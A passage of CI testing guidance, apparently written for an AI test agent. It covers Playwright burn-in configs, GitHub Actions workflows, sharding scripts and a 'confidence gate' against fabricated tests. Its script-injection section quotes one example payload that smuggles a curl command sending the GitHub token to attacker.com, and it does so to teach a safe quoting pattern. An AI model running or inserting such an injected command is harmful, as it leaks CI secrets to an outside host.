  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,

  burnIn: {
    repeatEach: process.env.CI ? 2 : 3,
    retries: process.env.CI ? 0 : 1, // No retries in CI
  },
};

export default config;

Key Points:

• process.env.CI for environment detection
• Lower percentage in CI (20% vs 30%)
• Fewer iterations in CI (2 vs 3)
• No retries in CI (fail fast)

Example 5: Sharding Support

Context: Distribute burn-in tests across multiple CI workers.

Implementation:

// burn-in-changed.ts with sharding
import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';

async function main() {
  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));

  if (shardArg) {
    process.env.PW_SHARD = shardArg.split('=')[1];
  }

  await runBurnIn({
    configPath: 'playwright/config/.burn-in.config.ts',
  });
}

# GitHub Actions with sharding
jobs:
  burn-in:
    strategy:
      matrix:
        shard: [1/3, 2/3, 3/3]
    steps:
      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}

Key Points:

• Pass --shard=1/3 for parallel execution
• Burn-in respects Playwright sharding
• Distribute across multiple workers
• Reduces total CI time further

Integration with CI Workflow

When setting up CI with *ci workflow, recommend burn-in for:

• Pull request validation
• Pre-merge checks
• Nightly builds (subset runs)

Related Fragments

• ci-burn-in.md - Traditional burn-in patterns (10-iteration loops)
• selective-testing.md - Test selection strategies
• overview.md - Installation

Anti-Patterns

❌ Over-aggressive skip patterns:

skipBurnInPatterns: [
  '**/*', // Skips everything!
];

✅ Targeted skip patterns:

skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];

❌ Too low percentage (false confidence):

burnInTestPercentage: 0.05; // Only 5% - might miss issues

✅ Balanced percentage:

burnInTestPercentage: 0.2; // 20% in CI, provides good coverage

CI Pipeline and Burn-In Strategy

Principle

CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.

Rationale

CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.

Security: Script Injection Prevention

Rule: NEVER use ${{ inputs.* }} or user-controlled GitHub context directly in run: blocks. Always pass through env: and reference as "$ENV_VAR" (double-quoted).

When CI templates are extended into reusable workflows (on: workflow_call), manual dispatch workflows (on: workflow_dispatch), or composite actions, ${{ inputs.* }} values become user-controllable. Interpolating them directly in run: blocks enables shell command injection.

Vulnerable vs Safe Pattern

# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
- name: Run tests
  run: |
    npx playwright test --grep "${{ inputs.test_ids }}"

# ✅ SAFE — env var cannot break out of shell quoting
- name: Run tests
  env:
    TEST_IDS: ${{ inputs.test_ids }}
  run: |
    npx playwright test --grep "$TEST_IDS"

Unsafe Contexts (require env: intermediary)

• ${{ inputs.* }} — workflow_call and workflow_dispatch inputs
• ${{ github.event.* }} — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
• ${{ github.head_ref }} — PR source branch name (user-controlled)

Important: Passing through env: prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., run: $CMD where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.

Safe Contexts (safe from GitHub expression injection in run: blocks)

• ${{ steps.*.outputs.* }} — pre-computed by your own code
• ${{ matrix.* }} — defined in workflow YAML
• ${{ runner.os }}, ${{ github.sha }}, ${{ github.ref }} — system-controlled
• ${{ secrets.* }} — secret store, not user-injectable
• ${{ env.* }} — already an env var

Note: "Safe from expression injection" means these values cannot be manipulated by external actors to break out of ${{ }} interpolation. Standard shell quoting practices still apply — always double-quote variable references in run: blocks.

---

Pattern Examples

Example 1: GitHub Actions Workflow with Parallel Execution

Context: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.

Implementation:

# .github/workflows/e2e-tests.yml
name: E2E Tests
on:
  pull_request:
  push:
    branches: [main, develop]

env:
  NODE_VERSION_FILE: '.nvmrc'
  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}

jobs:
  install-dependencies:
    name: Install & Cache Dependencies
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version-file: ${{ env.NODE_VERSION_FILE }}
          cache: 'npm'

      - name: Cache node modules
        uses: actions/cache@v4
        id: npm-cache
        with:
          path: |
            ~/.npm
            node_modules
            ~/.cache/Cypress
            ~/.cache/ms-playwright
          key: ${{ env.CACHE_KEY }}
          restore-keys: |
            ${{ runner.os }}-node-

      - name: Install dependencies
        if: steps.npm-cache.outputs.cache-hit != 'true'
        run: npm ci --prefer-offline --no-audit

      - name: Install Playwright browsers
        if: steps.npm-cache.outputs.cache-hit != 'true'
        run: npx playwright install --with-deps chromium

  test-changed-specs:
    name: Test Changed Specs First (Burn-In)
    needs: install-dependencies
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0 # Full history for accurate diff

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version-file: ${{ env.NODE_VERSION_FILE }}
          cache: 'npm'

      - name: Restore dependencies
        uses: actions/cache@v4
        with:
          path: |
            ~/.npm
            node_modules
            ~/.cache/ms-playwright
          key: ${{ env.CACHE_KEY }}

      - name: Detect changed test files
        id: changed-tests
        run: |
          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
          echo "Changed specs: ${CHANGED_SPECS}"

      - name: Run burn-in on changed specs (10 iterations)
        if: steps.changed-tests.outputs.changed_specs != ''
        run: |
          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
          echo "Running burn-in: 10 iterations on changed specs"
          for i in {1..10}; do
            echo "Burn-in iteration $i/10"
            npm run test -- $SPECS || {
              echo "❌ Burn-in failed on iteration $i"
              exit 1
            }
          done
          echo "✅ Burn-in passed - 10/10 successful runs"

      - name: Upload artifacts on failure
        if: failure()
        uses: actions/upload-artifact@v4
        with:
          name: burn-in-failure-artifacts
          path: |
            test-results/
            playwright-report/
            screenshots/
          retention-days: 7

  test-e2e-sharded:
    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
    needs: [install-dependencies, test-changed-specs]
    runs-on: ubuntu-latest
    timeout-minutes: 30
    strategy:
      fail-fast: false # Run all shards even if one fails
      matrix:
        shard: [1, 2, 3, 4]
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version-file: ${{ env.NODE_VERSION_FILE }}
          cache: 'npm'

      - name: Restore dependencies
        uses: actions/cache@v4
        with:
          path: |
            ~/.npm
            node_modules
            ~/.cache/ms-playwright
          key: ${{ env.CACHE_KEY }}

      - name: Run E2E tests (shard ${{ matrix.shard }})
        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
        env:
          TEST_ENV: staging
          CI: true

      - name: Upload test results
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: test-results-shard-${{ matrix.shard }}
          path: |
            test-results/
            playwright-report/
          retention-days: 30

      - name: Upload JUnit report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: junit-results-shard-${{ matrix.shard }}
          path: test-results/junit.xml
          retention-days: 30

  merge-test-results:
    name: Merge Test Results & Generate Report
    needs: test-e2e-sharded
    runs-on: ubuntu-latest
    if: always()
    steps:
      - name: Download all shard results
        uses: actions/download-artifact@v4
        with:
          pattern: test-results-shard-*
          path: all-results/

      - name: Merge HTML reports
        run: |
          npx playwright merge-reports --reporter=html all-results/
          echo "Merged report available in playwright-report/"

      - name: Upload merged report
        uses: actions/upload-artifact@v4
        with:
          name: merged-playwright-report
          path: playwright-report/
          retention-days: 30

      - name: Comment PR with results
        if: github.event_name == 'pull_request'
        uses: daun/playwright-report-comment@v3
        with:
          report-path: playwright-report/

Key Points:

• Install once, reuse everywhere: Dependencies cached across all jobs
• Burn-in first: Changed specs run 10x before full suite
• Fail-fast disabled: All shards run to completion for full evidence
• Parallel execution: 4 shards cut execution time by ~75%
• Artifact retention: 30 days for reports, 7 days for failure debugging

---

Example 2: Burn-In Loop Pattern (Standalone Script)

Context: Reusable bash script for burn-in testing changed specs locally or in CI.

Implementation:

#!/bin/bash
# scripts/burn-in-changed.sh
# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]

set -e  # Exit on error

# Configuration
ITERATIONS=${1:-10}
BASE_BRANCH=${2:-main}
SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'

echo "🔥 Burn-In Test Runner"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "Iterations: $ITERATIONS"
echo "Base branch: $BASE_BRANCH"
echo ""

# Detect changed test files
echo "📋 Detecting changed test files..."
CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")

if [ -z "$CHANGED_SPECS" ]; then
  echo "✅ No test files changed. Skipping burn-in."
  exit 0
fi

echo "Changed test files:"
echo "$CHANGED_SPECS" | sed 's/^/  - /'
echo ""

# Count specs
SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
echo "Running burn-in on $SPEC_COUNT test file(s)..."
echo ""

# Burn-in loop
FAILURES=()
for i in $(seq 1 $ITERATIONS); do
  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
  echo "🔄 Iteration $i/$ITERATIONS"
  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"

  # Run tests with explicit file list
  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
    echo "✅ Iteration $i passed"
  else
    echo "❌ Iteration $i failed"
    FAILURES+=($i)

    # Save failure artifacts
    mkdir -p burn-in-failures/iteration-$i
    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true

    echo ""
    echo "🛑 BURN-IN FAILED on iteration $i"
    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
    echo "Logs saved to: burn-in-log-$i.txt"
    echo ""
    exit 1
  fi

  echo ""
done

# Success summary
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "🎉 BURN-IN PASSED"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
echo "Changed specs are stable and ready to merge."
echo ""

# Cleanup logs
rm -f burn-in-log-*.txt

exit 0

Usage:

# Run locally with default settings (10 iterations, compare to main)
./scripts/burn-in-changed.sh

# Custom iterations and base branch
./scripts/burn-in-changed.sh 20 develop

# Add to package.json
{
  "scripts": {
    "test:burn-in": "bash scripts/burn-in-changed.sh",
    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
  }
}

Key Points:

• Exit on first failure: Flaky tests caught immediately
• Failure artifacts: Saved per-iteration for debugging
• Flexible configuration: Iterations and base branch customizable
• CI/local parity: Same script runs in both environments
• Clear output: Visual feedback on progress and results

---

Example 3: Shard Orchestration with Result Aggregation

Context: Advanced sharding strategy for large test suites with intelligent result merging.

Implementation:

// scripts/run-sharded-tests.js
const { spawn } = require('child_process');
const fs = require('fs');
const path = require('path');

/**
 * Run tests across multiple shards and aggregate results
 * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
 */

const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
const TEST_ENV = process.env.TEST_ENV || 'local';
const RESULTS_DIR = path.join(__dirname, '../test-results');

console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
console.log(`Environment: ${TEST_ENV}`);
console.log('━'.repeat(50));

// Ensure results directory exists
if (!fs.existsSync(RESULTS_DIR)) {
  fs.mkdirSync(RESULTS_DIR, { recursive: true });
}

/**
 * Run a single shard
 */
function runShard(shardIndex) {
  return new Promise((resolve, reject) => {
    const shardId = `${shardIndex}/${SHARD_COUNT}`;
    console.log(`\n📦 Starting shard ${shardId}...`);

    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
      stdio: 'pipe',
    });

    let stdout = '';
    let stderr = '';

    child.stdout.on('data', (data) => {
      stdout += data.toString();
      process.stdout.write(data);
    });

    child.stderr.on('data', (data) => {
      stderr += data.toString();
      process.stderr.write(data);
    });

    child.on('close', (code) => {
      // Save shard results
      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
      try {
        const result = JSON.parse(stdout);
        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
        resolve({ shardIndex, code, result });
      } catch (error) {
        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
        reject({ shardIndex, code, error });
      }
    });

    child.on('error', (error) => {
      console.error(`❌ Shard ${shardId} process error:`, error.message);
      reject({ shardIndex, error });
    });
  });
}

/**
 * Aggregate results from all shards
 */
function aggregateResults() {
  console.log('\n📊 Aggregating results from all shards...');

  const shardResults = [];
  let totalTests = 0;
  let totalPassed = 0;
  let totalFailed = 0;
  let totalSkipped = 0;
  let totalFlaky = 0;

  for (let i = 1; i <= SHARD_COUNT; i++) {
    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
    if (fs.existsSync(resultFile)) {
      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
      shardResults.push(result);

      // Aggregate stats
      totalTests += result.stats?.expected || 0;
      totalPassed += result.stats?.expected || 0;
      totalFailed += result.stats?.unexpected || 0;
      totalSkipped += result.stats?.skipped || 0;
      totalFlaky += result.stats?.flaky || 0;
    }
  }

  const summary = {
    totalShards: SHARD_COUNT,
    environment: TEST_ENV,
    totalTests,
    passed: totalPassed,
    failed: totalFailed,
    skipped: totalSkipped,
    flaky: totalFlaky,
    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
    timestamp: new Date().toISOString(),
  };

  // Save aggregated summary
  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));

  console.log('\n━'.repeat(50));
  console.log('📈 Test Results Summary');
  console.log('━'.repeat(50));
  console.log(`Total tests:    ${totalTests}`);
  console.log(`✅ Passed:      ${totalPassed}`);
  console.log(`❌ Failed:      ${totalFailed}`);
  console.log(`⏭️  Skipped:     ${totalSkipped}`);
  console.log(`⚠️  Flaky:       ${totalFlaky}`);
  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
  console.log('━'.repeat(50));

  return summary;
}

/**
 * Main execution
 */
async function main() {
  const startTime = Date.now();
  const shardPromises = [];

  // Run all shards in parallel
  for (let i = 1; i <= SHARD_COUNT; i++) {
    shardPromises.push(runShard(i));
  }

  try {
    await Promise.allSettled(shardPromises);
  } catch (error) {
    console.error('❌ One or more shards failed:', error);
  }

  // Aggregate results
  const summary = aggregateResults();

  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
  console.log(`\n⏱️  Total execution time: ${totalTime}s`);

  // Exit with failure if any tests failed
  if (summary.failed > 0) {
    console.error('\n❌ Test suite failed');
    process.exit(1);
  }

  console.log('\n✅ All tests passed');
  process.exit(0);
}

main().catch((error) => {
  console.error('Fatal error:', error);
  process.exit(1);
});

package.json integration:

{
  "scripts": {
    "test:sharded": "node scripts/run-sharded-tests.js",
    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
  }
}

Key Points:

• Parallel shard execution: All shards run simultaneously
• Result aggregation: Unified summary across shards
• Failure detection: Exit code reflects overall test status
• Artifact preservation: Individual shard results saved for debugging
• CI/local compatibility: Same script works in both environments

---

Example 4: Selective Test Execution (Changed Files + Tags)

Context: Optimize CI by running only relevant tests based on file changes and tags.

Implementation:

#!/bin/bash
# scripts/selective-test-runner.sh
# Intelligent test selection based on changed files and test tags

set -e

BASE_BRANCH=${BASE_BRANCH:-main}
TEST_ENV=${TEST_ENV:-local}

echo "🎯 Selective Test Runner"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "Base branch: $BASE_BRANCH"
echo "Environment: $TEST_ENV"
echo ""

# Detect changed files (all types, not just tests)
CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)

if [ -z "$CHANGED_FILES" ]; then
  echo "✅ No files changed. Skipping tests."
  exit 0
fi

echo "Changed files:"
echo "$CHANGED_FILES" | sed 's/^/  - /'
echo ""

# Determine test strategy based on changes
run_smoke_only=false
run_all_tests=false
affected_specs=""

# Critical files = run all tests
if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
  echo "⚠️  Critical configuration files changed. Running ALL tests."
  run_all_tests=true

# Auth/security changes = run all auth + smoke tests
elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
  echo "🔒 Auth/security files changed. Running auth + smoke tests."
  npm run test -- --grep "@auth|@smoke"
  exit $?

# API changes = run integration + smoke tests
elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
  echo "🔌 API files changed. Running integration + smoke tests."
  npm run test -- --grep "@integration|@smoke"
  exit $?

# UI component changes = run related component tests
elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
  echo "🎨 UI components changed. Running component + smoke tests."

  # Extract component names and find related tests
  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
  for component in $components; do
    # Find tests matching component name
    affected_specs+=$(find tests -name "*${component}*" -type f) || true
  done

  if [ -n "$affected_specs" ]; then
    echo "Running tests for: $affected_specs"
    npm run test -- $affected_specs --grep "@smoke"
  else
    echo "No specific tests found. Running smoke tests only."
    npm run test -- --grep "@smoke"
  fi
  exit $?

# Documentation/config only = run smoke tests
elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
  echo "📝 Documentation/config files changed. Running smoke tests only."
  run_smoke_only=true
else
  echo "⚙️  Other files changed. Running smoke tests."
  run_smoke_only=true
fi

# Execute selected strategy
if [ "$run_all_tests" = true ]; then
  echo ""
  echo "Running full test suite..."
  npm run test
elif [ "$run_smoke_only" = true ]; then
  echo ""
  echo "Running smoke tests..."
  npm run test -- --grep "@smoke"
fi

Usage in GitHub Actions:

# .github/workflows/selective-tests.yml
name: Selective Tests
on: pull_request

jobs:
  selective-tests:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Run selective tests
        run: bash scripts/selective-test-runner.sh
        env:
          BASE_BRANCH: ${{ github.base_ref }}
          TEST_ENV: staging

Key Points:

• Intelligent routing: Tests selected based on changed file types
• Tag-based filtering: Use @smoke, @auth, @integration tags
• Fast feedback: Only relevant tests run on most PRs
• Safety net: Critical changes trigger full suite
• Component mapping: UI changes run related component tests

---

CI Configuration Checklist

Before deploying your CI pipeline, verify:

• [ ] Caching strategy: node_modules, npm cache, browser binaries cached
• [ ] Timeout budgets: Each job has reasonable timeout (10-30 min)
• [ ] Artifact retention: 30 days for reports, 7 days for failure artifacts
• [ ] Parallelization: Matrix strategy uses fail-fast: false
• [ ] Burn-in enabled: Changed specs run 5-10x before merge
• [ ] wait-on app startup: CI waits for app (wait-on: '<http://localhost:3000>')
• [ ] Secrets documented: README lists required secrets (API keys, tokens)
• [ ] Local parity: CI scripts runnable locally (npm run test:ci)

Integration Points

• Used in workflows: *ci (CI/CD pipeline setup)
• Related fragments: selective-testing.md, playwright-config.md, test-quality.md
• CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins

_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_

Confidence Gate

Principle

When generating tests, scaffolding fixtures, classifying risk, or proposing any non-trivial test artifact, emit a confidence assessment before writing code. If confidence is below the threshold, stop and ask the user instead of generating plausible-looking output built on guesses.

Rationale

The failure mode of LLM-generated tests is rarely "refused to try" — it is "generated something plausible that passes locally and breaks silently in CI." Hallucinated selectors, invented endpoint paths, fabricated risk scores, and reverse-engineered schemas all produce code that looks correct and tests nothing real. A confidence gate makes that failure mode loud by forcing the agent to declare its evidence and its unknowns before any artifact is committed.

Required output shape

Every non-trivial test artifact proposal must include:

Confidence: <1-10>
Rationale: <one or two sentences citing concrete evidence from the repo or contract>
Unknowns: <bulleted list of things the agent does not know>

The Rationale must cite a file path, a contract document, an existing pattern, or a captured observation. Vague rationale ("based on standard patterns", "looks similar to other tests") is not evidence and forces the score down.

Threshold rule

• Confidence ≥ 7 — proceed with generation.
• Confidence 5–6 — proceed but surface the assumptions to the user in the output so they can correct mid-flight.
• Confidence < 5 — STOP. Do not generate. Ask the user to resolve the most-blocking Unknown first.

When to apply

Apply the gate when generating or proposing:

• Selectors and page objects. Must have explored the live application via playwright-cli or read existing page object patterns. Confidence < 5 if neither.
• Endpoint paths and request shapes. Must have read the OpenAPI / Swagger contract or existing endpoint enums. Confidence < 5 if the endpoint is being invented.
• Risk classification (test-design, NFR). Must cite probability and impact evidence. Confidence < 5 if scoring is vibes-based.
• Fixture composition. Must understand existing mergeTests patterns and fixture boundaries in the repo. Confidence < 5 if composing blindly.
• Schema authoring (Zod, Ajv, JSON Schema). Must have a documented contract source (OpenAPI, JSON schema, existing schema file). Confidence < 5 if reverse-engineering from a single sample response.
• Data factories. Must understand the production data shape and constraints. Confidence < 5 if guessing field validity rules.

When NOT to apply

• Mechanical refactors with clear scope (rename a variable, add a tag, update an import).
• Reading or summarizing existing artifacts.
• Producing reports from already-gathered data.
• Trivial test additions that copy an existing pattern exactly.

The gate exists to prevent fabrication, not to bureaucratize obvious work.

Anti-patterns

❌ Vanity scores. Confidence: 9 with no Rationale, or Rationale that does not cite evidence. Score the evidence, not the optimism.

❌ Listing then ignoring Unknowns. Listing unknowns and then proceeding anyway when Confidence is below threshold. If the gate is below threshold, the only valid next action is to ask the user.

❌ Asking generically. Asking "should I proceed?" instead of resolving the most-blocking Unknown with a concrete one-sentence question.

❌ Inflating to clear the bar. Adjusting Confidence upward to avoid the stop rule. If the evidence is weak, the score is weak; resolve the evidence, not the number.

Patterns that work

✅ Cite the source. "Confidence: 8 — Rationale: read src/openapi/users.yaml line 142-167 and existing schema at tests/api/users.schema.ts."

✅ One concrete Unknown. When below threshold, ask one specific question: "Is POST /users/{id}/role documented anywhere? I can't find it in the OpenAPI spec and there are no existing tests for it."

✅ Promote evidence. When the user answers the Unknown, the Rationale gets stronger and Confidence rises legitimately. The gate is a feedback loop, not a checkpoint.

Related fragments

• test-quality.md — Definition of Done for tests; the gate protects DoD compliance.
• risk-governance.md — risk scoring discipline that informs Rationale for risk-related gates.
• probability-impact.md — scoring scales used in risk-related Rationale.
• selector-resilience.md — selector confidence specifically.
• playwright-cli.md — the sanctioned exploration tool that promotes selector Confidence.